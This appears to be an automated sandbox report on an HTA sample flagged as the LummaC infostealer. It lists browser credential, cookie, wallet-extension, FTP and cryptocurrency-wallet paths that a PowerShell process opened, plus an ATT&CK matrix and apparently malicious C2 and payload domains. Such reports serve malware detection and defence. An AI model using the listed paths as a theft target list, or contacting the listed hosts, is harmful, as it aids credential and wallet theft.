Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Directory queried: number of queries: 1002

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 8108, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	3 Obfuscated Files or Information	LSASS Memory	22 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Email Collection	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	221 Virtualization/Sandbox Evasion	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
s7.mp4.hta	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.microsoft.c8	0%	Avira URL Cloud	safe
https://hoppricerwir.cyou/EM	0%	Avira URL Cloud	safe
https://hoppricerwir.cyou/%	0%	Avira URL Cloud	safe
https://hoppricerwir.cyou/apie	0%	Avira URL Cloud	safe
https://hoppricerwir.cyou/	0%	Avira URL Cloud	safe
https://hoppricerwir.cyou/api	0%	Avira URL Cloud	safe
https://s7.klipdywoziy.shop	0%	Avira URL Cloud	safe
hoppricerwir.cyou	0%	Avira URL Cloud	safe
https://hoppricerwir.cyou:443/apib-	0%	Avira URL Cloud	safe
https://s7.klipdywoziy.shop/hukk7.jpeg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s7.klipdywoziy.shop	188.114.96.3	true	true		unknown
hoppricerwir.cyou	104.21.32.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
robinsharez.shop	false		high
hoppricerwir.cyou	true	Avira URL Cloud: safe	unknown
versersleep.shop	false		high
soundtappysk.shop	false		high
https://s7.klipdywoziy.shop/hukk7.jpeg	true	Avira URL Cloud: safe	unknown
crowdwarek.shop	false		high
https://hoppricerwir.cyou/api	true	Avira URL Cloud: safe	unknown
handscreamny.shop	false		high
apporholis.shop	false		high
chipdonkeruz.shop	false		high
femalsabler.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.4649505674.000000000600A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2208341368.00000000062B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hoppricerwir.cyou/%	powershell.exe, 0000000E.00000002.3448766867.000000000569C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hoppricerwir.cyou/apie	powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.c8	powershell.exe, 00000008.00000002.3189944178.00000000070A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hoppricerwir.cyou/	powershell.exe, 0000000E.00000002.3448766867.000000000569C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3438118078.0000000003386000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hoppricerwir.cyou:443/apib-	powershell.exe, 0000000E.00000002.3438118078.0000000003388000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s7.klipdywoziy.shop	powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 00000008.00000002.3194952351.0000000007EA0000.00000004.00000020.00020000.00000000.sdmp	false		high
